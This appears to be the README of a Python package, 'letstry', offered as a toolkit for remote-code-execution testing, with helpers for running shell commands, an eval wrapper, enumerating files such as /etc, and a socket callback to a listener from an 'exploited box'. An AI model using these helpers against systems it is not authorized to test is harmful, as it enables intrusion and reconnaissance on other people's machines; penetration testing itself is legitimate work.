letstry 0.1.1

Toolkit for RCE testing, command execution, and file enumeration

LetsTry

A powerful single-file Python toolkit for Remote Code Execution (RCE) testing, file and directory enumeration, and Linux command execution.

🚨 For educational and authorized testing purposes only.

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🔧 Features

• ✅ List files, folders, and recursively enumerate directories
• ✅ Run Linux commands and capture output
• ✅ Execute system-level calls
• ✅ Use glob, pathlib, and os modules together
• ✅ Optional socket callback support for RCE testing

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📦 Installation

pip install letstry

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🚀 Usage

import letstry

# Run Linux command
print(letstry.run_command("uname -a"))

# List all files in /etc
print(letstry.list_files("/etc"))

# Recursive listing using pathlib
print(letstry.scan_pathlib("/var/log"))

# Run a command using os.system
letstry.run_os_system("ls -l")

# Send a callback to a listener
letstry.send_callback("192.168.1.100", 4444, "Ping from exploited box")

# Host information
print(letstry.get_host_info())

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📁 Module Functions

📂 File Enumeration

• list_all(path=".")
• list_files(path=".")
• list_dirs(path=".")
• recursive_glob(path=".", pattern="*")
• scan_pathlib(path=".")

⚙️ Command Execution

• run_command(cmd)
• run_os_system(cmd)
• safe_eval(code) (⚠️ Dangerous — use for test only)

🌐 Network Utilities

• get_host_info()
• send_callback(ip, port, msg)

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⚠️ Disclaimer

This tool is intended only for ethical hacking, penetration testing, or system administration on systems you have explicit permission to test. Any misuse is strictly prohibited and the author assumes no responsibility for illegal usage.

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